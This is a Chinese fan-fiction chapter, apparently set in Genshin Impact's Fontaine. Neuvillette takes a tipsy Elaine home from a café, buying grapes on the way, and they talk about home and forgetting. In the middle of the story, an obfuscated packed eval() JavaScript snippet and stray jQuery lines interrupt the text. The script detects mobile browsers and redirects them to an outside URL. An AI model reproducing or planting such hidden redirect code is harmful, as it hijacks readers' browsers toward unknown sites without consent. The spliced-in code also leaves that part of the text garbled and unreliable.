“那维莱特,这个好吃。”伊莲端着两盘舒芙蕾过来,“不知道你喜欢不喜欢加酱的,我就给你点了一份原味的。”


    伊莲拉开椅子坐下,将叉子给那维莱特分好,自己迫不及待地吃了一口,笑起来:“好吃。”


    那维莱特闻言拿起叉子也细细的品尝了一口面前的点心。


    他垂下眼眸,看着盘中缺少了一角的甜点因为温度的流失而一点点地塌陷。


    他又抬眸看伊莲,伊莲托着脸,吃边看着街角的小猫们发呆。


    猫儿蜷缩在一起,打着哈欠,伊莲也打着哈欠。


    天已经彻底暗了下来,灯便亮了。


    风在缱绻着凉意在空气中流动。


    那维莱特对食物的欲望并不大,甚至可以说几乎是没有的。


    甜的也好,苦的也罢,对他来说区别不大。


    但当伊莲问他好不好吃时,仍旧微笑着点点头:“好吃。”


    咖啡厅老板阿鲁埃曾在沫芒宫工作,被辞退以后就开了这家店,当他没事可干,随意打量时,一下就注意到了那维莱特。


    枫丹的最高审判官,他的前上司。


    阿鲁埃喊过一旁的服务生。


    不一会,一个年纪不大的男孩便端着一瓶酒走过来,对那维莱特和伊莲说:“这是我们老板送你们的,枫丹当下最受欢迎的低度数酒精饮料,泡泡橘子酿。”


    说着他把瓶子放在桌子上,离开。


    那维莱特回头,阿鲁埃便殷切地冲他挥手,不管他与沫芒宫的其他家伙的关系如何,阿鲁埃是从心底敬重他的这位前上司的。


    那维莱特微笑点头致以谢意。


    伊莲看着面前的瓶子发呆,感觉全世界都在跟她作对一样。


    “那维莱特你吃过葡萄吗?”


    “你问过我这个问题。”那维莱特把泡泡橘子酿拿过来,打开,倒了两杯。


    伊莲盯着那维莱特的动作,自顾自地说:“晨曦酒庄有着全提瓦特最好的葡萄,和最好喝的葡萄酒。”


    “比这个味道还要好吗?”那维莱特指着面前的橘子酒。


    “跟晨曦酒庄的比起来,这杯橘子酿简直太难喝了。”


    她拿起杯子,喝了下去,又看向那维莱特。


    那维莱特没有动作,看起来他不打算喝掉。


    他说:“原来叫这个名字,橘子酿,很好听。”


    “好听吗?”伊莲说。


    “嗯。”那维莱特点点头。


    他食欲不大,勉强将面前的舒芙蕾吃完,便一言不发地坐在那里,他清醒地看着面前人是如何在橘色的气泡里沉醉。


    本着自己做的酒自己要喝完的原则,伊莲将阿鲁埃送的橘子酒全喝了,不过这一瓶也不多,总共两杯的量。


    “走吗?”那维莱特问她。


    她看看四周,天已经完全黑了。


    “走吧。”她说。


    枫丹廷夜晚的街道,风是凉的,路灯是明亮的、昏黄的。


    从远处看,走在路灯下的两个人很近又很小。


    伊莲脚步不算稳,那维莱特见她自己还能走,也不搀扶她。


    直到伊莲边走边转圈,最后靠着路灯杆子,那维莱特忍不住笑了出来。


    他坐在一旁的长椅,伊莲就坐在他的旁边。


    “我去给你买点水果。”那维莱特说。


    咖啡厅所在的瓦萨里回廊有水果店也有服装店,这里像是枫丹廷的生活街,烟火气很足。


    来来往往的人也会多一些。


    也有人好奇地想坐在长椅上的女孩是什么来头,让那维莱特大人陪着她闹。


    可那维莱特大人自持清冷、大公无私,这样做,总有他的道理。


    枫丹的一切都离不开他,又怎么会对他的一切有所指点?


    “不吃橘子。”伊莲用手捂在眼睛上。


    “葡萄呢?”那维莱特问。


    “葡萄也不吃。”伊莲把手拿开。


    “苹果?”


    “不要。”


    “树莓?”


    “酸。”


    “想吃甜的?”


    伊莲看着那维莱特,忽然地把头埋进他的肩膀,让人诧异。


    “那维莱特,”她说,“我想家了。”


    那维莱特目光沉了下来。


    他的肩膀能感觉到她的重量、她的温度、她的情绪。


    他是在强迫她吗?


    那维莱特想,尽管他已经在如海浪的情绪中挣扎了许久,可他现在想,如果伊莲说要回去,那他便放她走吧。


    剩下的,他再自己走过去,朝着她走,即使会艰难一些。


    但是伊莲没有说。


    “那维莱特,我们回家吧。”


    缥缈的空气安静了片刻,只有不明显的风声,到底是怎样的一种思绪,连接着天空。


    那维莱特看着靠在他身上的人。


    不久前还拿着剑要刺向他的人。


    “好,我们回家。”


    他说。


    “葡萄还是要吃的。”伊莲说。


    “刚还说不吃。”


    “现在想了。”


    “那就买。”


    纳博内区的人比瓦萨里回廊的人要少,伊莲拎着青葡萄,心满意足地走在路上。


    那维莱特把他的手杖给了伊莲。


    因为小姑娘不愿意他去搀扶,便只能靠这个让她保持平衡。


    “那维莱特,为什么枫丹廷总蒙着一层薄薄的蓝雾。”伊莲停住脚步,抬头问。


    那维莱特走到她的身旁,轻蹙眉头:“我不知道,我没去过别处。”


    “你没去过别处?”伊莲重复他的话。


    那维莱特想除了璃月的那次,确实如此。


    于是点点头。


    伊莲走近,看着那维莱特的眼睛:“等我以后离开了,我会给你寄相片的,我寄好多地方的相片给你看。”


    那维莱特用指腹轻轻地碰了一下她的脸:“那你说到做到,别再把我忘了。”


    “会吗?我记性很好的。”她说。


    “嗯,你记性很好。”那维莱特把手放下。


    道路的两侧长满了白色的小花,它们有着月光的颜色,晶莹纯洁,充满生命力。


    和伊莲走在路上,那维莱特想起曾经的伊莲住进那所小洋楼的一个下午。


    他推开卧室的门,就看见伊莲散着长发,躺在椅子上,风从窗户吹进来,她的头发跟着晃动。


    这一幕那维莱特记了很久,不管是晴天还是微风,都刚刚好。


    他们回到家里,伊莲要去地毯下面找钥匙,那维莱特站在原处,看着伊莲来来回回找了好半天,最终叹了口气,他过去将钥匙拿出来,递到伊莲的面前。


    伊莲歪头看着那维莱特手里的钥匙。


    “你怎么知道我把钥匙放在这里了?”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15617036|172081||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “我又不傻。”


    伊莲噗嗤一下笑了,那维莱特也笑了。


    她拿过钥匙,对着门锁,插了好久,总是对不准,有点生气:“那维莱特,你家锁有问题。”


    “谁让你喝那么多酒?”


    “谁让阿鲁埃说这是酒精饮料,明明是人家花了很多心思研究的酒。”


    “谁家?”


    “别人家。”


    那维莱特走到她的身边,握着她的手,精准地插入钥匙孔,将门打开。


    门开的瞬间,伊莲差点跌进屋子里。


    那维莱特小心地拉住她。


    伊莲长长地吸了口气,她把鞋子脱掉,说自己要洗澡。


    那维莱特将她的鞋子整理好,点点头,“你去吧,我在外面等你。”


    “好。”伊莲说着醉呼呼地往浴室走,到门口时,她扶着门,对那维莱特说:“千万不要以为喝醉了会发生点什么,我现在虽然走路不稳,但很清醒,所以,不要想多了,那都是小说里的情节。”


    那维莱特有些无奈,但他也只能顺着伊莲,点点头。


    伊莲“哼”了一声,转身进浴室,“砰”的一下把门关上,接着就是叮铃咣当的声音传来,再然后就是伊莲“哎哟”的声音。


    那维莱特皱起眉头,感觉里面惨不忍睹,又想到伊莲现在也刚刚进去,应该还没脱衣服。


    于是站起来,走到浴室前,询问:“需要帮忙吗?”


    “你走开。”伊莲的声音从里面传来。


    那维莱特绷绷嘴角,默默坐回沙发上。


    他捞起一本杂志,翻看起来,但心思还是浴室那边,很快水声传来,听上去一切正常,那维莱特稍微松口气,终于沉下心来看手中的读物。


    伊莲洗澡的时间比平时要长一些,等她拖拖拉拉地走出来,时间已经过去快一个小时。


    那维莱特转过身,见伊莲头上包着毛巾,走上楼梯,他看着她进入卧室,门没有关。


    那维莱特把杂志放下,也去冲了个澡。


    他出来的时候头发已经弄干了,松松散散地披在身后,和平日里扎起来的一丝不苟相比,多了几分难以言明的感觉。


    他穿着睡衣,走上二楼。


    他有自己的卧室,就在书房,当可路过伊莲的卧室时,看见里面的灯还亮着,女孩就躺在椅子上,长发垂在空中,滴着水。


    和曾经的画面一样。


    那维莱特走过去,推了推伊莲,声音很轻:“去把头发弄干,以普通人的身体,你会感冒。”


    “那维莱特,”伊莲说,“你会活很久很久吗?”


    那维莱特点点头,声音温柔:“会。”


    “会忘了我吗?”


    “不太会。”


    “什么叫不太会?”伊莲抬起眼皮,她看着那维莱特,“对不起。”


    “怎么了?”


    “我真的想不起来,一点都想不起来。”


    “无所谓了。”那维莱特看着伊莲。


    屋子里的灯,光影柔和,那维莱特蹲在伊莲的旁边,头发垂在地上,他抬头看她。


    伊莲用手隔空描着那维莱特的眉眼:“你去休息吧,我会吹头发的,你放心。”


    “好。”


    他们身上是一模一样的气息,那是来自同一瓶的洗发液,暖融融的,像今天的天气。


    至于明天会发生什么,谁也不知道。